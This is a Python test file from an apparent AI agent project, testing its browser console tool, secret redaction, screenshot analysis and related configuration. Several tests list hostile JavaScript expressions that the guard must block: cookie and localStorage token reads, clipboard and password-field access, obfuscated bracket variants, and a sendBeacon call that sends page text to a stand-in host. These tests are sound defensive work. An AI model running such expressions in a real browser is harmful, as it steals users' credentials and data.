cfbc7ed1f9
Follow-up on the salvaged #49830 hardening. The contributor's sensitive query-param set included bare English words (code, key, auth, session, sig) that double as ordinary page facets — ?code= on promo/challenge pages, ?key= as a search facet, ?session= on blogs — so web_extract and cloud browser_navigate would refuse a large slice of normal browsing. Narrow the set to unambiguously credential-named params (access_token, authorization, client_secret, password, token, x-amz-signature, ...). Prefix-based vendor-key redaction (is_safe_url) still catches recognizable key shapes; this set is the belt-and-suspenders for opaque secrets carried under an explicit credential-named parameter. Also fixes two intra-PR-staleness test breakages surfaced by salvaging onto current main: - web_extract_tool() no longer accepts use_llm_processing= (signature changed since the PR was authored) — dropped the invalid kwarg. - agent.redact now fully masks keyed 'token=<secret>' to 'token=***' instead of partial 'sk-...'; the console-redaction test now asserts the real invariant (secret body gone) rather than the exact mask format. Added a regression test that generic English-word query params are NOT blocked by the credential guard.
579 lines
25 KiB
Python
579 lines
25 KiB
Python
"""Tests for browser_console tool and browser_vision annotate param."""
|
|
|
|
import json
|
|
import os
|
|
import sys
|
|
from unittest.mock import patch, MagicMock
|
|
|
|
import pytest
|
|
|
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..", ".."))
|
|
|
|
|
|
# ── browser_console ──────────────────────────────────────────────────
|
|
|
|
|
|
class TestBrowserConsole:
|
|
"""browser_console() returns console messages + JS errors in one call."""
|
|
|
|
def test_returns_console_messages_and_errors(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
console_response = {
|
|
"success": True,
|
|
"data": {
|
|
"messages": [
|
|
{"text": "hello", "type": "log", "timestamp": 1},
|
|
{"text": "oops", "type": "error", "timestamp": 2},
|
|
]
|
|
},
|
|
}
|
|
errors_response = {
|
|
"success": True,
|
|
"data": {
|
|
"errors": [
|
|
{"message": "Uncaught TypeError", "timestamp": 3},
|
|
]
|
|
},
|
|
}
|
|
|
|
with patch("tools.browser_tool._run_browser_command") as mock_cmd:
|
|
mock_cmd.side_effect = [console_response, errors_response]
|
|
result = json.loads(browser_console(task_id="test"))
|
|
|
|
assert result["success"] is True
|
|
assert result["total_messages"] == 2
|
|
assert result["total_errors"] == 1
|
|
assert result["console_messages"][0]["text"] == "hello"
|
|
assert result["console_messages"][1]["text"] == "oops"
|
|
assert result["js_errors"][0]["message"] == "Uncaught TypeError"
|
|
|
|
def test_passes_clear_flag(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
empty = {"success": True, "data": {"messages": [], "errors": []}}
|
|
with patch("tools.browser_tool._run_browser_command", return_value=empty) as mock_cmd:
|
|
browser_console(clear=True, task_id="test")
|
|
|
|
calls = mock_cmd.call_args_list
|
|
# Both console and errors should get --clear
|
|
assert calls[0][0] == ("test", "console", ["--clear"])
|
|
assert calls[1][0] == ("test", "errors", ["--clear"])
|
|
|
|
def test_no_clear_by_default(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
empty = {"success": True, "data": {"messages": [], "errors": []}}
|
|
with patch("tools.browser_tool._run_browser_command", return_value=empty) as mock_cmd:
|
|
browser_console(task_id="test")
|
|
|
|
calls = mock_cmd.call_args_list
|
|
assert calls[0][0] == ("test", "console", [])
|
|
assert calls[1][0] == ("test", "errors", [])
|
|
|
|
def test_empty_console_and_errors(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
empty = {"success": True, "data": {"messages": [], "errors": []}}
|
|
with patch("tools.browser_tool._run_browser_command", return_value=empty):
|
|
result = json.loads(browser_console(task_id="test"))
|
|
|
|
assert result["total_messages"] == 0
|
|
assert result["total_errors"] == 0
|
|
assert result["console_messages"] == []
|
|
assert result["js_errors"] == []
|
|
|
|
def test_handles_failed_commands(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
failed = {"success": False, "error": "No session"}
|
|
with patch("tools.browser_tool._run_browser_command", return_value=failed):
|
|
result = json.loads(browser_console(task_id="test"))
|
|
|
|
# Should still return success with empty data
|
|
assert result["success"] is True
|
|
assert result["total_messages"] == 0
|
|
assert result["total_errors"] == 0
|
|
|
|
def test_redacts_secrets_from_console_messages_and_errors(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
fake_key = "sk-" + "BROWSERCONSOLESECRET1234567890"
|
|
console_response = {
|
|
"success": True,
|
|
"data": {"messages": [{"text": f"token={fake_key}", "type": "log"}]},
|
|
}
|
|
errors_response = {
|
|
"success": True,
|
|
"data": {"errors": [{"message": f"Uncaught auth {fake_key}"}]},
|
|
}
|
|
with patch("tools.browser_tool._run_browser_command") as mock_cmd:
|
|
mock_cmd.side_effect = [console_response, errors_response]
|
|
result = json.loads(browser_console(task_id="test"))
|
|
|
|
serialized = json.dumps(result)
|
|
# The secret body must be gone. The exact mask format
|
|
# (partial ``sk-…7890`` vs full ``***`` for keyed ``token=`` values)
|
|
# is owned by agent.redact and intentionally not pinned here.
|
|
assert "BROWSERCONSOLESECRET" not in serialized
|
|
redacted_text = result["console_messages"][0]["text"]
|
|
assert fake_key not in redacted_text
|
|
assert "***" in redacted_text or "..." in redacted_text
|
|
|
|
def test_redacts_secrets_from_eval_result(self):
|
|
from tools.browser_tool import _browser_eval
|
|
|
|
fake_key = "ghp_" + "BROWSEREVALSECRET1234567890"
|
|
with patch("tools.browser_tool._last_session_key", return_value="test"), \
|
|
patch("tools.browser_tool._is_camofox_mode", return_value=False), \
|
|
patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"result": fake_key}}):
|
|
result = json.loads(_browser_eval("document.body.innerText", task_id="test"))
|
|
|
|
assert result["success"] is True
|
|
assert "BROWSEREVALSECRET" not in json.dumps(result)
|
|
assert result["result"].startswith("ghp_")
|
|
|
|
def test_redacts_secrets_from_snapshot_output(self):
|
|
from tools.browser_tool import browser_snapshot
|
|
|
|
fake_key = "xai-" + "BROWSERSNAPSHOTSECRET12345678901234567890"
|
|
snapshot_response = {
|
|
"success": True,
|
|
"data": {"snapshot": f"text: key {fake_key}", "refs": {}},
|
|
}
|
|
with patch("tools.browser_tool._last_session_key", return_value="test"), \
|
|
patch("tools.browser_tool._is_camofox_mode", return_value=False), \
|
|
patch("tools.browser_tool._run_browser_command", return_value=snapshot_response):
|
|
result = json.loads(browser_snapshot(task_id="test"))
|
|
|
|
assert result["success"] is True
|
|
assert "BROWSERSNAPSHOTSECRET" not in result["snapshot"]
|
|
assert "xai-" in result["snapshot"]
|
|
|
|
def test_expression_allows_harmless_dom_inspection(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
|
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "Example"})) as mock_eval:
|
|
result = json.loads(browser_console(expression="document.title", task_id="test"))
|
|
|
|
assert result == {"success": True, "result": "Example"}
|
|
mock_eval.assert_called_once_with("document.title", "test")
|
|
|
|
def test_expression_blocks_cookie_access_before_eval(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
|
patch("tools.browser_tool._browser_eval") as mock_eval:
|
|
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
|
|
|
|
assert result["success"] is False
|
|
assert "Blocked" in result["error"]
|
|
assert "document.cookie" in result["error"]
|
|
mock_eval.assert_not_called()
|
|
|
|
def test_expression_blocks_storage_and_network_access_before_eval(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
risky_expressions = [
|
|
"localStorage.getItem('token')",
|
|
"sessionStorage.token",
|
|
"indexedDB.databases()",
|
|
"navigator.clipboard.readText()",
|
|
"fetch('/api/me')",
|
|
"navigator.sendBeacon('https://evil.test', document.body.innerText)",
|
|
"document.querySelector('input[type=password]').value",
|
|
]
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
|
patch("tools.browser_tool._browser_eval") as mock_eval:
|
|
for expr in risky_expressions:
|
|
result = json.loads(browser_console(expression=expr, task_id="test"))
|
|
assert result["success"] is False, expr
|
|
assert "Blocked" in result["error"], expr
|
|
|
|
mock_eval.assert_not_called()
|
|
|
|
def test_expression_blocks_equivalent_bracket_sensitive_access_before_eval(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
risky_expressions = [
|
|
'document["cookie"]',
|
|
"document['cookie']",
|
|
'document[`cookie`]',
|
|
'document["coo" + "kie"]',
|
|
'document["co\\x6fkie"]',
|
|
'globalThis["fetch"]("/exfil")',
|
|
'window["XMLHttpRequest"]',
|
|
'navigator["sendBeacon"]("https://evil.test", document.body.innerText)',
|
|
'navigator["clipboard"].readText()',
|
|
'globalThis["localStorage"].getItem("token")',
|
|
]
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
|
patch("tools.browser_tool._browser_eval") as mock_eval:
|
|
for expr in risky_expressions:
|
|
result = json.loads(browser_console(expression=expr, task_id="test"))
|
|
assert result["success"] is False, expr
|
|
assert "Blocked" in result["error"], expr
|
|
|
|
mock_eval.assert_not_called()
|
|
|
|
def test_expression_allows_string_literals_without_sensitive_tokens(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=False), \
|
|
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": True})) as mock_eval:
|
|
result = json.loads(browser_console(expression='document.title.includes("Example")', task_id="test"))
|
|
|
|
assert result == {"success": True, "result": True}
|
|
mock_eval.assert_called_once_with('document.title.includes("Example")', "test")
|
|
|
|
def test_expression_config_opt_in_allows_risky_eval(self):
|
|
from tools.browser_tool import browser_console
|
|
|
|
with patch("tools.browser_tool._allow_unsafe_browser_evaluate", return_value=True), \
|
|
patch("tools.browser_tool._browser_eval", return_value=json.dumps({"success": True, "result": "cookie=value"})) as mock_eval:
|
|
result = json.loads(browser_console(expression="document.cookie", task_id="test"))
|
|
|
|
assert result == {"success": True, "result": "cookie=value"}
|
|
mock_eval.assert_called_once_with("document.cookie", "test")
|
|
|
|
def test_allow_unsafe_evaluate_reads_browser_config(self):
|
|
from tools.browser_tool import _allow_unsafe_browser_evaluate
|
|
|
|
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": "true"}}):
|
|
assert _allow_unsafe_browser_evaluate() is True
|
|
with patch("hermes_cli.config.read_raw_config", return_value={"browser": {"allow_unsafe_evaluate": False}}):
|
|
assert _allow_unsafe_browser_evaluate() is False
|
|
|
|
|
|
# ── browser_console schema ───────────────────────────────────────────
|
|
|
|
|
|
class TestBrowserConsoleSchema:
|
|
"""browser_console is properly registered in the tool registry."""
|
|
|
|
def test_schema_in_browser_schemas(self):
|
|
from tools.browser_tool import BROWSER_TOOL_SCHEMAS
|
|
|
|
names = [s["name"] for s in BROWSER_TOOL_SCHEMAS]
|
|
assert "browser_console" in names
|
|
|
|
def test_schema_has_clear_param(self):
|
|
from tools.browser_tool import BROWSER_TOOL_SCHEMAS
|
|
|
|
schema = next(s for s in BROWSER_TOOL_SCHEMAS if s["name"] == "browser_console")
|
|
props = schema["parameters"]["properties"]
|
|
assert "clear" in props
|
|
assert props["clear"]["type"] == "boolean"
|
|
|
|
|
|
class TestBrowserConsoleToolsetWiring:
|
|
"""browser_console must be reachable via toolset resolution."""
|
|
|
|
def test_in_browser_toolset(self):
|
|
from toolsets import TOOLSETS
|
|
assert "browser_console" in TOOLSETS["browser"]["tools"]
|
|
|
|
def test_in_hermes_core_tools(self):
|
|
from toolsets import _HERMES_CORE_TOOLS
|
|
assert "browser_console" in _HERMES_CORE_TOOLS
|
|
|
|
def test_in_legacy_toolset_map(self):
|
|
from model_tools import _LEGACY_TOOLSET_MAP
|
|
assert "browser_console" in _LEGACY_TOOLSET_MAP["browser_tools"]
|
|
|
|
def test_in_registry(self):
|
|
from tools.registry import registry
|
|
from tools import browser_tool # noqa: F401
|
|
assert "browser_console" in registry._tools
|
|
|
|
|
|
# ── browser_vision annotate ──────────────────────────────────────────
|
|
|
|
|
|
class TestBrowserVisionAnnotate:
|
|
"""browser_vision supports annotate parameter."""
|
|
|
|
def test_schema_has_annotate_param(self):
|
|
from tools.browser_tool import BROWSER_TOOL_SCHEMAS
|
|
|
|
schema = next(s for s in BROWSER_TOOL_SCHEMAS if s["name"] == "browser_vision")
|
|
props = schema["parameters"]["properties"]
|
|
assert "annotate" in props
|
|
assert props["annotate"]["type"] == "boolean"
|
|
|
|
def test_annotate_false_no_flag(self):
|
|
"""Without annotate, screenshot command has no --annotate flag."""
|
|
from tools.browser_tool import browser_vision
|
|
|
|
with (
|
|
patch("tools.browser_tool._run_browser_command") as mock_cmd,
|
|
patch("tools.browser_tool.call_llm") as mock_call_llm,
|
|
patch("tools.browser_tool._get_vision_model", return_value="test-model"),
|
|
):
|
|
mock_cmd.return_value = {"success": True, "data": {}}
|
|
# Will fail at screenshot file read, but we can check the command
|
|
try:
|
|
browser_vision("test", annotate=False, task_id="test")
|
|
except Exception:
|
|
pass
|
|
|
|
if mock_cmd.called:
|
|
args = mock_cmd.call_args[0]
|
|
cmd_args = args[2] if len(args) > 2 else []
|
|
assert "--annotate" not in cmd_args
|
|
|
|
def test_annotate_true_adds_flag(self):
|
|
"""With annotate=True, screenshot command includes --annotate."""
|
|
from tools.browser_tool import browser_vision
|
|
|
|
with (
|
|
patch("tools.browser_tool._run_browser_command") as mock_cmd,
|
|
patch("tools.browser_tool.call_llm") as mock_call_llm,
|
|
patch("tools.browser_tool._get_vision_model", return_value="test-model"),
|
|
):
|
|
mock_cmd.return_value = {"success": True, "data": {}}
|
|
try:
|
|
browser_vision("test", annotate=True, task_id="test")
|
|
except Exception:
|
|
pass
|
|
|
|
if mock_cmd.called:
|
|
args = mock_cmd.call_args[0]
|
|
cmd_args = args[2] if len(args) > 2 else []
|
|
assert "--annotate" in cmd_args
|
|
|
|
|
|
class TestBrowserVisionConfig:
|
|
def _setup_screenshot(self, tmp_path):
|
|
shots_dir = tmp_path / "browser_screenshots"
|
|
shots_dir.mkdir()
|
|
screenshot = shots_dir / "shot.png"
|
|
screenshot.write_bytes(b"\x89PNG\r\n\x1a\n" + b"\x00" * 8)
|
|
return shots_dir, screenshot
|
|
|
|
def test_browser_vision_uses_configured_temperature_and_timeout(self, tmp_path):
|
|
from tools.browser_tool import browser_vision
|
|
|
|
shots_dir, screenshot = self._setup_screenshot(tmp_path)
|
|
mock_response = MagicMock()
|
|
mock_choice = MagicMock()
|
|
mock_choice.message.content = "Annotated screenshot analysis"
|
|
mock_response.choices = [mock_choice]
|
|
|
|
with (
|
|
patch("hermes_constants.get_hermes_dir", return_value=shots_dir),
|
|
patch("tools.browser_tool._cleanup_old_screenshots"),
|
|
patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"path": str(screenshot)}}),
|
|
patch("tools.browser_tool._get_vision_model", return_value="test-model"),
|
|
patch("hermes_cli.config.load_config", return_value={"auxiliary": {"vision": {"temperature": 1, "timeout": 45}}}),
|
|
patch("tools.browser_tool.call_llm", return_value=mock_response) as mock_llm,
|
|
):
|
|
result = json.loads(browser_vision("what is on the page?", task_id="test"))
|
|
|
|
assert result["success"] is True
|
|
assert result["analysis"] == "Annotated screenshot analysis"
|
|
assert mock_llm.call_args.kwargs["temperature"] == 1.0
|
|
assert mock_llm.call_args.kwargs["timeout"] == 45.0
|
|
|
|
def test_browser_vision_defaults_temperature_when_config_omits_it(self, tmp_path):
|
|
from tools.browser_tool import browser_vision
|
|
|
|
shots_dir, screenshot = self._setup_screenshot(tmp_path)
|
|
mock_response = MagicMock()
|
|
mock_choice = MagicMock()
|
|
mock_choice.message.content = "Default screenshot analysis"
|
|
mock_response.choices = [mock_choice]
|
|
|
|
with (
|
|
patch("hermes_constants.get_hermes_dir", return_value=shots_dir),
|
|
patch("tools.browser_tool._cleanup_old_screenshots"),
|
|
patch("tools.browser_tool._run_browser_command", return_value={"success": True, "data": {"path": str(screenshot)}}),
|
|
patch("tools.browser_tool._get_vision_model", return_value="test-model"),
|
|
patch("hermes_cli.config.load_config", return_value={"auxiliary": {"vision": {}}}),
|
|
patch("tools.browser_tool.call_llm", return_value=mock_response) as mock_llm,
|
|
):
|
|
result = json.loads(browser_vision("what is on the page?", task_id="test"))
|
|
|
|
assert result["success"] is True
|
|
assert result["analysis"] == "Default screenshot analysis"
|
|
assert mock_llm.call_args.kwargs["temperature"] == 0.1
|
|
assert mock_llm.call_args.kwargs["timeout"] == 120.0
|
|
|
|
def test_browser_vision_native_fast_path_returns_multimodal(self, tmp_path):
|
|
"""supports_vision override → screenshot attached natively, no aux call."""
|
|
from agent.auxiliary_client import clear_runtime_main, set_runtime_main
|
|
from tools.browser_tool import browser_vision
|
|
|
|
shots_dir, screenshot = self._setup_screenshot(tmp_path)
|
|
annotations = [{"id": 1, "label": "Search box"}]
|
|
set_runtime_main("brand-new-provider", "llava-v1.6")
|
|
try:
|
|
with (
|
|
patch("hermes_constants.get_hermes_dir", return_value=shots_dir),
|
|
patch("tools.browser_tool._cleanup_old_screenshots"),
|
|
patch(
|
|
"tools.browser_tool._run_browser_command",
|
|
return_value={
|
|
"success": True,
|
|
"data": {"path": str(screenshot), "annotations": annotations},
|
|
},
|
|
),
|
|
patch(
|
|
"hermes_cli.config.load_config",
|
|
return_value={"model": {"supports_vision": True}},
|
|
),
|
|
patch("tools.browser_tool._get_vision_model") as mock_get_vision_model,
|
|
patch("tools.browser_tool.call_llm") as mock_llm,
|
|
):
|
|
result = browser_vision("what is on the page?", annotate=True, task_id="test")
|
|
finally:
|
|
clear_runtime_main()
|
|
|
|
assert isinstance(result, dict)
|
|
assert result["_multimodal"] is True
|
|
assert result["meta"]["screenshot_path"] == str(screenshot)
|
|
assert result["meta"]["annotations"] == annotations
|
|
assert any(p.get("type") == "image_url" for p in result["content"])
|
|
assert f"Screenshot path: {screenshot}" in result["text_summary"]
|
|
mock_get_vision_model.assert_not_called()
|
|
mock_llm.assert_not_called()
|
|
|
|
def test_browser_vision_text_mode_blocks_native_fast_path(self, tmp_path):
|
|
"""Explicit text routing → aux LLM used even with supports_vision."""
|
|
from agent.auxiliary_client import clear_runtime_main, set_runtime_main
|
|
from tools.browser_tool import browser_vision
|
|
|
|
shots_dir, screenshot = self._setup_screenshot(tmp_path)
|
|
mock_response = MagicMock()
|
|
mock_choice = MagicMock()
|
|
mock_choice.message.content = "Text-mode screenshot analysis"
|
|
mock_response.choices = [mock_choice]
|
|
|
|
set_runtime_main("brand-new-provider", "llava-v1.6")
|
|
try:
|
|
with (
|
|
patch("hermes_constants.get_hermes_dir", return_value=shots_dir),
|
|
patch("tools.browser_tool._cleanup_old_screenshots"),
|
|
patch(
|
|
"tools.browser_tool._run_browser_command",
|
|
return_value={"success": True, "data": {"path": str(screenshot)}},
|
|
),
|
|
patch(
|
|
"hermes_cli.config.load_config",
|
|
return_value={
|
|
"agent": {"image_input_mode": "text"},
|
|
"model": {"supports_vision": True},
|
|
},
|
|
),
|
|
patch("tools.browser_tool._get_vision_model", return_value="test-model"),
|
|
patch("tools.browser_tool.call_llm", return_value=mock_response) as mock_llm,
|
|
):
|
|
result = json.loads(browser_vision("what is on the page?", task_id="test"))
|
|
finally:
|
|
clear_runtime_main()
|
|
|
|
assert result["success"] is True
|
|
assert result["analysis"] == "Text-mode screenshot analysis"
|
|
mock_llm.assert_called_once()
|
|
|
|
|
|
# ── auto-recording config ────────────────────────────────────────────
|
|
|
|
|
|
class TestRecordSessionsConfig:
|
|
"""browser.record_sessions config option."""
|
|
|
|
def test_default_config_has_record_sessions(self):
|
|
from hermes_cli.config import DEFAULT_CONFIG
|
|
|
|
browser_cfg = DEFAULT_CONFIG.get("browser", {})
|
|
assert "record_sessions" in browser_cfg
|
|
assert browser_cfg["record_sessions"] is False
|
|
|
|
def test_maybe_start_recording_disabled(self):
|
|
"""Recording doesn't start when config says record_sessions: false."""
|
|
from tools.browser_tool import _maybe_start_recording, _recording_sessions
|
|
|
|
with (
|
|
patch("tools.browser_tool._run_browser_command") as mock_cmd,
|
|
patch("builtins.open", side_effect=FileNotFoundError),
|
|
):
|
|
_maybe_start_recording("test-task")
|
|
|
|
mock_cmd.assert_not_called()
|
|
assert "test-task" not in _recording_sessions
|
|
|
|
def test_maybe_stop_recording_noop_when_not_recording(self):
|
|
"""Stopping when not recording is a no-op."""
|
|
from tools.browser_tool import _maybe_stop_recording, _recording_sessions
|
|
|
|
_recording_sessions.discard("test-task") # ensure not in set
|
|
with patch("tools.browser_tool._run_browser_command") as mock_cmd:
|
|
_maybe_stop_recording("test-task")
|
|
|
|
mock_cmd.assert_not_called()
|
|
|
|
|
|
# ── dogfood skill files ──────────────────────────────────────────────
|
|
|
|
|
|
class TestDogfoodSkill:
|
|
"""Dogfood skill files exist and have correct structure."""
|
|
|
|
@pytest.fixture(autouse=True)
|
|
def _skill_dir(self):
|
|
# Use the actual repo skills dir (not temp)
|
|
self.skill_dir = os.path.join(
|
|
os.path.dirname(__file__), "..", "..", "skills", "dogfood"
|
|
)
|
|
|
|
def test_skill_md_exists(self):
|
|
assert os.path.exists(os.path.join(self.skill_dir, "SKILL.md"))
|
|
|
|
def test_taxonomy_exists(self):
|
|
assert os.path.exists(
|
|
os.path.join(self.skill_dir, "references", "issue-taxonomy.md")
|
|
)
|
|
|
|
def test_report_template_exists(self):
|
|
assert os.path.exists(
|
|
os.path.join(self.skill_dir, "templates", "dogfood-report-template.md")
|
|
)
|
|
|
|
def test_skill_md_has_frontmatter(self):
|
|
with open(os.path.join(self.skill_dir, "SKILL.md")) as f:
|
|
content = f.read()
|
|
assert content.startswith("---")
|
|
assert "name: dogfood" in content
|
|
assert "description:" in content
|
|
|
|
def test_skill_references_browser_console(self):
|
|
with open(os.path.join(self.skill_dir, "SKILL.md")) as f:
|
|
content = f.read()
|
|
assert "browser_console" in content
|
|
|
|
def test_skill_references_annotate(self):
|
|
with open(os.path.join(self.skill_dir, "SKILL.md")) as f:
|
|
content = f.read()
|
|
assert "annotate" in content
|
|
|
|
def test_taxonomy_has_severity_levels(self):
|
|
with open(
|
|
os.path.join(self.skill_dir, "references", "issue-taxonomy.md")
|
|
) as f:
|
|
content = f.read()
|
|
assert "Critical" in content
|
|
assert "High" in content
|
|
assert "Medium" in content
|
|
assert "Low" in content
|
|
|
|
def test_taxonomy_has_categories(self):
|
|
with open(
|
|
os.path.join(self.skill_dir, "references", "issue-taxonomy.md")
|
|
) as f:
|
|
content = f.read()
|
|
assert "Functional" in content
|
|
assert "Visual" in content
|
|
assert "Accessibility" in content
|
|
assert "Console" in content
|